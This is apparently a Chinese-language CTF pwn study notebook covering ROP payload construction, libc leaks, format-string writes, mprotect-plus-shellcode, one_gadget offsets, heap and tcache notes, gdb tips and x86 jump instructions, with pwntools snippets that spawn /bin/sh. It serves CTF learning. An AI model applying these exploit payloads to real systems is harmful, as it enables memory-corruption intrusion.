# <center>PWN 小技巧 </center>

# 1.64 位程序与 32 位程序 payload


64 位程序 payload 要先用 pop_rdi 覆盖 ret 然后依次是 调用函数的参数,调用函数本身,最后是返回地址(32 位程序传参不需要用寄存器)
32 位程序是调用函数 先函数本身 ,然后是函数返回地址,再是参数,然后接着是函数本身再是返回地址,最后是参数.... 这种循环(返回地址可以用 pop_ret 这种代替)

n
payload=b"\x00"*(0x50+8)+p64(rdi_ret)+p64(put_got)+p64(put_plt)+p64(0x4009A0)
先是垃圾字符,然后pop_rdi,接着put_got是利用执行put_plt泄露的地址,最后是返回地址

# 32 位程序寄存器传参:

先函数,再寄存器,再参数 (ctfshow55)

n
payload1=b"a"*(0x2c+4)+p32(ret)+p32(flag_func1)+p32(flag_func2)+p32(rbx_ret)+p32(0xacacacac)+p32(flag)+p32(rbx_ret)+p32(0xbdbdbdbd)

这里 flag_func1 没有参数

一般方式传参:

n
payload1=b"a"*(0x2c+4)+p32(flag_func1)+p32(flag_func2)+p32(flag)+p32(0xacacacac)+p32(0xbdbdbdbd)

# 2. 注意栈对齐(Ubuntu18 以上格外注意)

在 ubuntu18 版本 64 位程序在执行 system 函数时会要求 16 字节对齐也就是地址最低位为 0,而 64 位程序地址结尾为 08 , 所以当 system 地址为 8 时只要地址 + 8 即可,所以一般前面会有个 ret 来保持栈对齐

产生这个问题的原因是在执行 system 时,里面的 movaps 指令,该指令要求内存地址要 16 字节对齐,也就强迫地址以 0 结尾(如:存放 system 的 地址0x7ffe8a3625f0

https://www.cnblogs.com/ZIKH26/articles/15996874.html

# 3. 泄露的函数接收时,需要看其最后返回地址的函数是否有输出字符串,如有则先接收返回地址输出的字符串

n
payload=b"\x00"*(0x50+8)+p64(rdi_ret)+p64(put_got)+p64(put_plt)+p64(返回地址)
    p.sendlineafter("Input your Plaintext to be encrypted\n",payload)
    p.recvline()  #返回地址中输出的字符串
    p.recvline()  #返回地址中输出的字符串
    puts=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\0'))
    puts=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,"\x00"))
    接收最好用这个 puts=u64(p.recv(6).ljust(8,b'\x00'))
		                   puts=u32(p.recvuntil('\xf7')[-4:])

【有时会直接输出地址以 16 进制形式,我们要直接进行接收】

例一、

c
printf("Yippie, lets crash: %p\n", s);  // 例如这种输出

接收方式:

n
stack=int(p.recv(10),16) #接收回显的参数在栈上的地址,长度是 10,以 16 进制表示

例二、

c
__isoc99_scanf("%6s", format);  // 此处输入的是  %7$p  泄露偏移为 7 的地方的值
  printf(format);   // 打印上面泄露的值

接收

n
p.recvuntil(b"0x")                   #原本输出值为 0x76d7e5e9e493e00
stroy=int(p.recv(16),16)       #以 16 进制接收 16 个字符

例三、

c
printf("We need to load the ctfshow_flag.\nThe current location: %p\n", v3);

接收: addr=int(p.recv(10),16) // 这里的字节数是调试输出数出来的

# 4. 有时接收不能用 u64 (p.recv ()), 会出错,利用 u64 (p.recvuntil (b'\n')[:-1].ljust (8,b'\0'))

# 5. 遇到要绕过 strlen 函数要绕过时用 b"\x00" 截断

# 6. 系统调用是调用 execve ("/bin/sh",NULL,NULL)【平常调用为 system ("/bin/sh")】

32位程序系统调用号用 eax 储存, 第一 、 二 、 三参数分别在 ebx 、ecx 、edx中储存。 可以用 int 80 汇编指令调用()

当eax=11时即为系统调用号调用命令execve,参数"/bin/sh"赋给ebx

64位程序系统调用号用 rax 储存, 第一 、 二 、 三参数分别在 rdi 、rsi 、rdx中储存。 可以用 syscall 汇编指令调用

【利用 ROPgadget 的命令可以直接构造出一个系统调用 ropchain】

ROPgadget --binary rop --ropchain

使用方式:将这段代码复制过去加上对应个数的 padding 即可, 注意 工具生成的代码和我们日常使用的代码格式和风格上都有一定差距,从 struct 包中导入的 pack 函数也会和 pwntools 中的 pack 起冲突,如果一定要使用 struct 的 pack,就在导入 pwntools 导入struct ,这样就可以覆盖掉 pack

# 7. 有 mprotect 函数可以改变内存的读写权限(最好修改 bbs 段,其他段的有问题)

mprotect(起始地址,修改内存长度,修改的权限(修改为7) )

指定的内存区间必须包含整个内存页(4k),起始地址必须是页的起始地址(末尾为000),修改区间的长度必须是页的整数倍【4k对应的16进制为0x1000】

mem_addr (起始地址)= 0x80EB000   mem_size(内存长度) = 0x1000   mem_proc(权限) = 0x7 【32位程序时也可以找任意三个寄存器来传参(如pop ebx;pop exi;pop ebp;ret),为了控制后续的返回地址】

在可以利用执行shellcode时可以用,修改一个位置可执行,然后调用read存入shellcode加以执行

payload=b"a"*0x2d

payload+=p32(mprotect)+p32(pop_ret)+p32(plt_got)+p32(0x100)+p32(0x7)

此处没有覆盖ebp,因为查看汇编ebp还未入栈,所以直接覆盖ret,后面的为调用3个寄存器

payload+=p32(read)+p32(pop_ret)+p32(0)+p32(plt_got)+p32(0x100)+p32(plt_got)

返回地址为read,

此处调用顺序为 执行函数,寄存器_返回地址,参数,函数返回地址(32位程序下,与一般32位不同,一般不调用寄存器)

# 8.shellcode 编写

用pwntools生成:

shellcode = asm(shellcraft.sh())

shellcode网址(用的时候不知道为什么不行):

[https://www.exploit-db.com/](https://www.exploit-db.com/ "漏洞利用数据库 - 渗透测试人员、研究人员和道德黑客的漏洞利用 (exploit-db.com)")

[http://shell-storm.org/shellcode/index.html](http://shell-storm.org/shellcode/index.html "Shellcodes database for study cases (shell-storm.org)")

# 9.strcmp () 绕过

# str1=str2 时返回 0,一般用这个绕过,也可以用 \x00 截断

# 10.switch () 语句

switch(表达式){ 
    case 常量表达式1:  语句1;
    case 常量表达式2:  语句2;
    … 
    case 常量表达式n:  语句n;
    default:  语句n+1;

}
# 将表达式的结果与常量表达式依次比较直到相同

# 11. 栈溢出注意输入的 payload 是不是再栈上,有时不是输入在栈上,后面可能会调用 strcpy (),此时可能会将输入的 payload 复制到栈上,需要按照复制后的栈填充垃圾字符等等

# 12. 整数溢出漏洞(比大小绕过判断),

无符号整型 unsigned int 遇到 -1 时会将 -1转化为该无符号整型的最大值

unsigned int ( -1 )=max unsigned int

int (-1)= -1

输入无符号整型时应该输入字符串(”-1“),不能是(b”-1“)

# 13. 格式化字符串漏洞(不仅仅用来泄露 canary,还可以改变地址内的值)

payload=pwnme地址(32位是4字节)+b"a"*4+b"%10$n"
    有printf(buf)会将输入的payload存入buf偏移为10的地方(该偏移需要利用aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p查看),并且将%10$前面的八字节大小视作8存入该地址
http://t.csdn.cn/1sJDx

# 14.echo flag 【system("echo flag")】

输出字符串,后面跟什么就输出什么,这里输出"flag"

# 15.val=atoi(str)

将str转为整数型字符串,当第一个字符不能识别为数字时,函数将停止读入输入字符串

str="987654" ,val=(int)987654

str="abc" ,      val=0

# 16. (char*)malloc(x*sizeof(char))

分配x字节连续的空间,从堆空间中分配,返回值为分配空间的首地址

# 17.32 位程序构造 rop 链时

因为32位程序是用栈来传参,调用函数返回地址在前参数在后,所以顺序应当为 :

函数1+函数2+函数3+函数1的参数+函数2的参数+函数3的参数

# 18. 修改 glibc 版本(ldd --version 查看当前版本)

当本地 glibc 版本不同会导致堆的地址不同等问题(glibc2.26 版本之后会出现一个新的 TcacheBin,导致释放的 chunk 不会先进入 fastbin 中)

patchelf --set-interpreter ~/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so --set-rpath ~/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ ~/Downloads/buuctf/babyheap_0ctf_2017

进入到 /pwn/glibc-all-in-one (自己的目录下),cat list

用 ./download 下载我们需要的版本

使用上面的命令换版本即可

【下载不超过请换源,vim download, 注释掉清华源,放出官方源】

# 19. 关于 malloc_hook

malloc_hook 指向的地址不为空时则执行其指向的函数,可以以此来 gadget(配合 one_gadget 使用)

malloc_hook=main_arena-0x10

一般:
fake_chunk=mian_arena-0x33
所以 malloc_hook=fake_chunk+0x23

# 20. 使用 one_gadget 工具来得到 getshell 的函数地址(在对应的库目录下使用)

该工具是基于对应的库来查找的,所以使用时 真正地址为 libc_base + 地址, 下面的需要让 rax 满足对应的要求
one_gadget 对应的库
(例如:one_gadget libc-2.23.so , 得到如下结果)

https://www.cnblogs.com/unr4v31/p/15173811.html

https://xz.aliyun.com/t/2720

one_gadget,这里记一下比较常用的(libc2.23-0ubuntu11.2 版本已经不在使用):

og1=[0x45216,0x4526a,0xf02a4,0xf1147]    #libc2.23-0ubuntu11.2
og2=[0x45226,0x4527a,0xf0364,0xf1207]    #libc2.23-0ubuntu11.3

下面是利用 read 与 gadget 地址的关系爆破修改(1/16 概率)

https://bbs.kanxue.com/thread-261112.htm

# 21. 查询程序对应 glibc 版本

https://www.ngui.cc/el/3327783.html?action=onClick

https://bbs.kanxue.com/thread-269155.htm

ldd 程序名  //用ldd命令查看当前对应glibc版本

1.ubuntu 16 环境(glibc 2.23~glibc 2.26)

2.ubuntu18ubuntu20 环境(glibc2.26glibc2.32)

机制更新

(1) 在 glibc2.26 之后堆管理器中加入了 tcachebin,tcachebin 是 glibc 2.26 版本引入的一种优化机制,用于管理小型内存块的缓存,以加速内存分配和释放的性能。在 tcachebin 中每种大小的堆块最多只能存放 7 个。

加入了 tcachebin 后,释放的堆块就会优先进入 tcachebin 中,只有当释放的堆块是一个 large bin chunk (大小大于 0x410),或者 tcachebin 对应大小的堆块已经满 7 个时才会置入 fastbin 或 unsortedbin 中

(2) 在加入了 tcachebin 后堆管理器在初始化时会先 malloc 一块大小为 0x251 的堆块存放 tcachebins 中指针

利用方式(要想堆块释放后进入 unsortedbin 中就要绕过 tcachebin,由于程序有堆块申请数量限制难以填满 tcachebin 所以选择 free 一个大小大于 0x410 的堆块)

# 22.fopen("arg1","arg2")

arg1 为打开文件名,arg2 为打开文件的访问模式(读写等方式)

文件不存在则返回 NULL

# 23.gdb 本地调试

from pwn import *
p=process('./ez_pz_hackover_2016')
context.log_level='debug'
 
gdb.attach(p)  ## 会在此处再打开一个终端
# 'b *0x8048600'  ##在该终端下设置对应断点(要设置在对应函数结束之前),设置完后必须在新终端按下“c”来继续进行,再在旧终端里按下回车
,
p.recvuntil('crash: ')
stack=int(p.recv(10),16)#接收s在栈上的地址

payload='crashme\x00'+'aaaaaa'#crashme\x00绕过if判断      

pause()  #必须要在发送的payload前面,不然直接发送结束无法查询了
p.sendline(payload)
 
pause()  #必要的,不能少

此处的重点就是在发送 payload 前加入 gdb.attach(p)pause ,发送 payload 后加入 pause() ,然后在产生的新终端内设置断点(也可以在前面直接设置断点: gdb.attach(p,"b *0x8048600")

然后新终端内输入 c 继续执行,旧终端内按下回车便可以进行查询得到相应的栈情况

不知道为什么要加入两个 pause() 才行,前面一个防止程序直接发送结束,无法加入断点;后面一个不加入会导致无法读取栈的情况(程序貌似没有运行结束,个人猜测是设置断点的地方已经不需要栈了)

后面在一个堆题调试,发现只需要通过 gdb.attach (p) 和 pause () 就能调试,但是这不能是最后一步,后面还要有其他的发送内容

n
puts=u64(p.recv(6).ljust(8,b'\x00'))
log.info(hex(puts))
p.recvuntil("OK\n")
libc_base=puts-libc.symbols["puts"]
system=libc_base+libc.symbols["system"]
binsh=libc_base+next(libc.search(b"/bin/sh"))
log.info("system:"+hex(system))
log.info("binsh:"+hex(binsh))
gdb.attach(p)
pause()
fill(1,10,aaaa)  #这里就是 “其他的发送内容”

# 24. 命令 readelf -s 程序名

直接在终端上运行命令 readelf -s 程序名 可以查看表项(利用 ida 也可以查看)

# 25.64 位构造 csu

n
def csu(rbx,rbp,r12,r13,r14,r15,ret):
    payload=b"a"*(0x80+8)+p64(csu1)+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)+p64(csu2)
    payload+=b"a"*56+p64(ret)
    p.send(payload)
csu(0,1,write_got,8,write_got,1,main_add) #两个必须都是 got 表

看到使用 csu 构造 rop,r12 执行的函数必须是在 got 表的地址

# 26.exp 输出我们接收的字符

利用 log.info(hex() )

# 27.prctl-seccomp (沙盒机制)

利用命令 seccomp-tools dump ./程序名 查看哪些函数被禁用了

而我们想要绕过需要利用 orw(open/read/write)组合方式读取 flag

# 28. 汇编指令(JMP,JE,JS,JP,JO,JB)

  1. JMP 无条件跳转

  2. JE(JZ)条件跳转

    当 ZF 标致为 1 的时候发生跳转,为 0 的时候不跳转,可以双击标志位,进行判断

  3. JNE(JNZ)条件跳转

    当 ZF 标致为 0 的时候发生跳转,为 1 的时候不跳转,可以双击标志位,进行判断

  4. JS 条件跳转(JNS 相反操作)

    当为整数时,SF 标志位为 0,负数事 SF 标志位为 1,当 SF 为 1 时,JS 发生跳转

  5. JP 条件跳转(JNP 反向操作)

    当二进制 1 的个数为偶数时,PF 标志位为 1,当二进制 1 的个数为奇数时,PF 标志位为 0,当 PF 标志位为 1 时,JP 发生跳转

  6. JO 条件跳转(JNO 反向操作)

    当结果溢出了,OF 标志位为 1,JO 会发生跳转,当 OF 标志位为 0 时,JO 不发生跳转

  7. JB 条件跳转(JNB 反向操作)

    当结果需要借位或者进位的时候,CF 变为 1,当值 1 的时候,JB 发生跳转

  8. JBE 跳转

    当 CF 或者 ZF 标志位 1 的时候跳转

  9. JG 跳转

    比较结果为大于时跳转(等于也不行)

  10. JL 跳转

    比较结果如果小于 (<) 则跳转

  11. JLE 跳转

    如果小于或等于 (<=) 跳转

https://zhuanlan.zhihu.com/p/611552675

通俗表示:

JE   ;等于则跳转
JNE  ;不等于则跳转

JZ   ;为 0 则跳转
JNZ  ;不为 0 则跳转

JS   ;为负则跳转
JNS  ;不为负则跳转

JC   ;进位则跳转
JNC  ;不进位则跳转

JO   ;溢出则跳转
JNO  ;不溢出则跳转

JA   ;无符号大于则跳转
JNA  ;无符号不大于则跳转
JAE  ;无符号大于等于则跳转
JNAE ;无符号不大于等于则跳转

JG   ;有符号大于则跳转
JNG  ;有符号不大于则跳转
JGE  ;有符号大于等于则跳转
JNGE ;有符号不大于等于则跳转

JB   ;无符号小于则跳转
JNB  ;无符号不小于则跳转
JBE  ;无符号小于等于则跳转
JNBE ;无符号不小于等于则跳转

JL   ;有符号小于则跳转
JNL  ;有符号不小于则跳转
JLE  ;有符号小于等于则跳转
JNLE ;有符号不小于等于则跳转

JP   ;奇偶位置位则跳转
JNP  ;奇偶位清除则跳转
JPE  ;奇偶位相等则跳转
JPO  ;奇偶位不等则跳转

https://blog.csdn.net/poptar/article/details/111686050

# 30.gdb 查看地址对应值情况

命令 telescope 地址 显示行数

# 31.gdb 查看堆块情况

命令 parseheap

# 32. 利用 libc 本地库查询计算地址:

n
libc_base=puts-libc.symbols["puts"]
system=libc_base+libc.symbols["system"]
binsh=libc_base+next(libc.search(b"/bin/sh")) #这里一定要转化为字节,不然会报错
log.info("system:"+hex(system))
log.info("binsh:"+hex(binsh))

泄露的地址(64 位):

# 33.malloc 返回值的指针指向 data 域

c
unsigned long *p1=malloc(0x400); // 申请了一个大 chunk
free(p1);  // 释放后先进入 unsorted 然后根据情况进入 largebin 中【大于 512 (1024) 字节】(进入 smallbin 是  size  小于 0x3f0,大于 0x3f0 就进入 largebin)
p1[-1]=0x3f1  // 修改 size 域(p1 指向 data 域)
p1[0]=0;   // 修改 fd
p1[1]=0x7fffffff df18;   // 修改 bk
p1[2]=0;    // 修改 fd_nextsize
p1[3]=0x7fffffff df10;    // 修改 bk_nextsize

# 34. 查看 GLIBC 版本

通过给定的 libc 文件查看 strings libc.so.6 | grep "GLIBC"

# 35. 字节相加:

可发现将加入的字节放入数列后面

# 36.puts 与 printf (覆盖结尾空字符可以造成泄露)

puts 函数是 C 语言标准库中的一个函数,用于输出一个字符串并在结尾加上一个 换行符('\n')

当 puts 函数 遇到 字符串结尾的 空字符('\0') 时,它会 停止输出 ,因为空字符是 C 语言中字符串的结束标志, 意味着可以覆盖原本的空字符来泄露后面的内容

printf 函数:

在 C 语言中,printf 默认会在输出的末尾 自动添加换行符 。如果想避免这个行为,可以使用 %s 格式说明符来输出 字符串 ,并且在最后 不添加 换行符。例如:

printf("%s", "Hello World");

这样就能在输出 Hello World 后不换行。

使用 printf 函数输出一个 字符数组 时,它会从数组的开头开始扫描,直到遇到一个值为 \0 的字符为止,然后停止输出

也就是说 printf(%s,a) 会输出 a 字符串直到遇到 空字符

【sendline 送出去我们的 payload, 因为 sendline 的特性最后在末尾会补充上 \00, 这样的话就进行 \00 截断了,也就无法泄露值了】

# 37.gdb 调试源码(调试时显示对于的源代码)

再根目录下用 vim .gdbinit

原来的:

source /home/pwn/pwn/pwndbg/gdbinit.py
source ~/pwn/Pwngdb/pwngdb.py
source ~/pwn/Pwngdb/angelheap/gdbinit.py

define hook-run
python
import angelheap
angelheap.init_angelheap()
end
end

添加一个 dir 调试函数的所在目录 (不包含函数本身)

该目录利用 pwd 命令查看 (以 malloc.c 为例)

然后 gdb 继续调试 elf 程序即可,等进入你装载进去的文件之后,就会自动展示 glibc 源代码,调试对应的版本的 elf 文件的程序会显示源码

# 38.lea 指令

lea:

load effective address , 加载有效地址,可以将有效 地址传送到指定的的寄存器 。指令形式是从存储器读数据到寄存器,效果是将存储器的有效地址写入到目的操作数,简单说,就是 C 语言中的”&”

https://ayesawyer.github.io/2019/02/14 / 汇编指令的积累 /

# 39.cdqe 指令

符号拓展指令 CBW、CWD、CDQ、CWDE、CDQE

符号拓展指令,使用符号位拓展数据类型。

cbw 使用al的最高位拓展ah的所有位

cwd使用ax的最高位拓展dx的所有位

cdq使用eax的最高位拓展edx的所有位

cwde使用ax的最高位拓展eax高16位的所有位

cdqe使用eax的最高位拓展rax高32位的所有位

下面的例子说明了拓展的用法,是用最高位(转为二进制的最高位)来填充高位(0x7F= 0111 1111 , 所以拓展的高位都是 0;0x80= 1000 0000 ,所以拓展的高位都是 1(十六进制就成为了 FFFF))


    mov al, 7Fh
    cbw
    PrintHex ax ;007F
    
    mov al, 80h
    cbw
    PrintHex ax ;FF80
    
    ;CWDE
    mov ax, 7FFFh
    cwde
    PrintHex eax ;00007FFF
    
    mov ax, 8000h
    cwde
    PrintHex eax ;FFFF8000

# 40.movzx 指令(与 cdqe 类似但是不考虑符号位拓展)

movzx 是将源操作数的内容拷贝到目的操作数,并将该值用 0 扩展至 16 位或者 32 位。但是它只适用于无符号整数。 他大致下面的三种格式

movzx 32位通用寄存器, 8位通用寄存器/内存单元
movzx 32位通用寄存器, 16位通用寄存器/内存单元
movzx 16位通用寄存器, 8位通用寄存器/内存单元

汇编语言数据传送指令 MOV 的变体。无符号扩展,并传送

例子:


mov eax, 0x00304000h
movzx eax, ax
PrintHex eax; 0x00004000h

mov eax, 0x00304000h
movzx eax, ah
PrintHex eax; 0x00000040h

mov BL,80H
movzx AX,BL
PrintHex AX;0X0080H
//由于BL为80H,最高位也即符号位为1,但在进行无符号扩展时,其扩展的高8位均为0,故赋值AX为0080H

00304000h 存放在内存为 (//00 40 30 00 小端序) ,在寄存器中是正常顺序

# 41. 要执行的 shellcode 第一个命令不能为 0 【pwn66】

在一些过滤条件里 shellcode 需要第一个字节为 \x00 才能绕过检测,这种情况下,需要让第一个 字节 为 0,第二个字节为 有效 的字节(为了和第一个字节组成 有效 汇编指令), 一般情况下, \x00B 后加一个字符,对应一个汇编语句(所以我们可以通过 \x00B\x22、\x00B\x00 、\x00J\x00 等等来绕过第一个字节为 \x00 的检测)

还可以查找第一个字节为 0x00 的汇编指令

n
from pwn import *
from itertools import *
import re
for i in range(1,3):
    #这里先一个 for 循环,里面嵌套了一个迭代,里面是组合一个字节或者两个字节长度(i 决定),赋值给 j
    for j in product([p8(k) for k in range(256)],repeat=i):
        payload=b'\x00'+b"".join(j)#Python join () 方法用于将序列中的元素以指定的字符连接生成一个新的字符串。
        p=disasm(payload)#pwntools 将机器码转为汇编(asm 是汇编转机器码)
        if(
            p !="    ..." 
            and not re.search(r"\[\w*?\]",p) #正则过滤,过滤
            and ".byte" not in p):
            print(p)
            #input()

过滤掉包含形如 [\w*?] 的内容可能是为了避免使用包含内存地址或变量名的指令序列。

正则表达式模式 r"[\w*?]" 匹配形如 [...] 的内容,其中 [] 表示方括号,\w 表示匹配任意字母、数字或下划线的字符,*? 表示非贪婪匹配,即尽可能少地匹配字符

# itertools --- 为高效循环而创建迭代器的函数

https://docs.python.org/zh-cn/3/library/itertools.html

repeat () //elem [,n] //elem, elem, elem, ... 重复无限次或 n 次

如:

repeat(10, 3) --> 10 10 10

re.search () 是 Python 中 re 模块提供的函数之一,用于在字符串中搜索匹配指定模式的子串。

# re.search (pattern, string) 接受两个参数:

pattern:要匹配的正则表达式模式。
string:要在其中搜索匹配的字符串。
函数返回一个匹配对象(Match object),如果找到匹配的子串,则可以使用匹配对象的方法和属性来获取有关匹配的信息。

在给定的代码中,re.search () 用于检查反汇编结果字符串是否匹配特定的模式。具体而言,它使用正则表达式模式来搜索字符串 res 中是否存在满足以下条件的子串:

子串不包含 "[...]" 形式的内容,即不包含方括号中的任何单词。
子串不包含 ".byte"。

# 42. __isoc99_scanf("%p", &v5); 作用

这里是让我们输入一个 地址 进去,后面的 v5(); 是在执行该地址的命令

# 43. 汇编 nop 指令 (ctfshow 67)

空操作指令指令格式:NOP

x86 CPU 上的 NOP 指令实质上是 XCHG EAX, EAX(操作码为 0x90)

说明:NOP是英语“No Operation”的缩写。NOP无操作数,所以称为“空操作”。

执行NOP指令只使程序计数器PC加1【让eip+1】,所以占用一个机器周期。实例:MOVLW 0xOF ;送OFH到W MOVWF PORT_B ;W内容写入B口 NOP ;空操作 MOVF PORT_B,W ;

# 44. 遇到这种输入地址 __isoc99_scanf("%p", &v5);

c
__isoc99_scanf("%p", &v5);
  v5();

这种输入地址直接发送: hex(addr) ,不再进行 p32/p64 转化

但是是 % s 时仍然需要转化

# 45. 函数需要返回地址和不需要返回地址的区分

我们在用 ret 覆盖时,如果是用 plt 表的地址覆盖,就需要返回地址,因此在限制了字节数时,不能调用 plt 因为 plt 需要返回值,但如果程序中有现成的 call 函数(如 system(echo 'ok')有 call system,需要参数)就可以不用返回值了,因为它会自己把下一条指令给压进去(这里直接用 call system 的地址即可)

# 46. 关于 malloc

调用 malloc (64) 后缓冲池大小从 0 变成了 0x20ff8,将 malloc (64) 改成 malloc (1) 结果也是一样,只要 malloc 分配的内存数量不超过 0x20ff8,缓冲池都是默认扩充 0x20ff8 大小

值得注意的是如果 malloc 一次分配的内存超过了 0x20ff8,malloc 不再从堆中分配空间,而是使用 mmap () 这个系统调用从映射区寻找可用的内存空间

# 47 关于 ebp 和 esp 内存放的值:

(1)ESP:栈指针寄存器 (extended stack pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个 栈帧的栈顶

(2)EBP:基址指针寄存器 (extended base pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个 栈帧的底部

https://blog.csdn.net/yu97271486/article/details/80425089

# 48. 查看输入的数据与 ebp 的偏移

在要知道与 ebp 的偏移,就需要进行动态调试【动态调试要 start 进入输入完后直接查看栈,不然利用 r 输入完后查看会被改变】:

首先查看 buf 的地址 (一步一步进入到 read 处):

输入 aaaa 查看栈:

对于这里 ebp 0xffffd008 是当前函数的 ebp,框里的是 main 的 ebp,要通过 main 的 ebp 函数来计算(因为泄露的是 main 函数的 ebp 地址)

最后偏移:

# 49.python 进行 base64 加密(pwn76)

base64 要加入库 import base64 ,然后加密为 base64.b64encode(payload)

# 50. 多线程

Arena

​ 一个线程申请的 1 个或多个堆包含很多的信息:二进制位信息,多个 malloc_chunk 信息等这些堆需要东西来进行管理,那么 Arena 就是来管理线程中的这些堆的,也可以理解为堆管理器所持有的内存池。

操作系统 --> 堆管理器 --> 用户

物理内存 --> arena -> 可用内存

堆管理器与用户的内存交易发生于 arena 中,可以理解为堆管理器向操作系统批发来的有冗余的内存库存。

一个线程只有一个 arnea,并且这些线程的 arnea 都是独立的不是相同的

主线程的 arnea 称为 “main_arena”。子线程的 arnea 称为 “thread_arena”。

主线程无论一开始 malloc 多少空间,只要 size<128KB,kernel 都会给 132KB 的 heap segment (rw)。这部分称为 main arena。 main_arena 并不在申请的 heap 中,而是一个全局变量,在 libc.so 的数据段。

获取,直到空间不足。当 arena 空间不足时,它可以通过增加 brk 的方式来增加堆的空间。类似地,arena 也可以通过减小 brk 来缩小自己的空间。

即使将所有 main arena 所分配出去的内存块 free 完,也不会立即还给 kernel,而是交由 glibc 来管理。当后面程序再次申请内存时,在 glibc 中管理的内存充足的情况下,glibc 就会根据堆分配的算法来给程序分配相应的内存

多线程

​ 在原来的 dlmalloc 实现中,当两个线程同时要申请内存时,只有一个线程可以进入临界区申请内存,而另外一个线程则必须等待直到临界区中不再有线程。这是因为所有的线程共享一个堆。在 glibc 的 ptmalloc 实现中,比较好的一点就是支持了多线程的快速访问。在新的实现中,所有的线程共享多个堆

https://wiki.wgpsec.org/knowledge/ctf/basicheap.html

# 51.pwndbg rebase 功能

pwndbg rebase 功能
具体用法如下:

b *$rebase(offset)
非常方便!!在你运行开启了 pie 和 aslr 的程序时,不需要你自己计算偏移下断点

在 pwntools 下可以这么用:

gdb.attach(io,"b *$rebase(0x27C3)")

# 52. 多线程调试:

在有多线程的程序,我们查看堆这种默认显示的是主线程,我们需要查看子线程时:

命令 (pwndbg 内):

  • info threads 查看当前所有的线程
  • thread n : 切换到 id 为 n 的线程中

对于进程也有类似的命令 info inferiors/inferior n ,在调试多进程交互的程序时会经常用到。

常用的命令:https://evilpan.com/2020/09/13/gdb-tips/

# 53. ROPgadget --binary pwn79 --only "jmp|call"

利用这个可以帮助我们在用 ret2reg 时跳转到保存目标地址的寄存器

# 54.ret2reg(pwn79)

ret2reg 原理:

  1. 查看溢出函返回时哪个寄存值指向 执行目标 的地址空间
  2. 查找 call reg 或者 jmp reg 指令(reg 代指某个寄存器),将 EIP 设置为该指令地址(该命令覆盖 ret 位置)
  3. reg 所指向的空间上注入 Shellcode (需要确保该空间是可以执行的,但通常都是栈上的)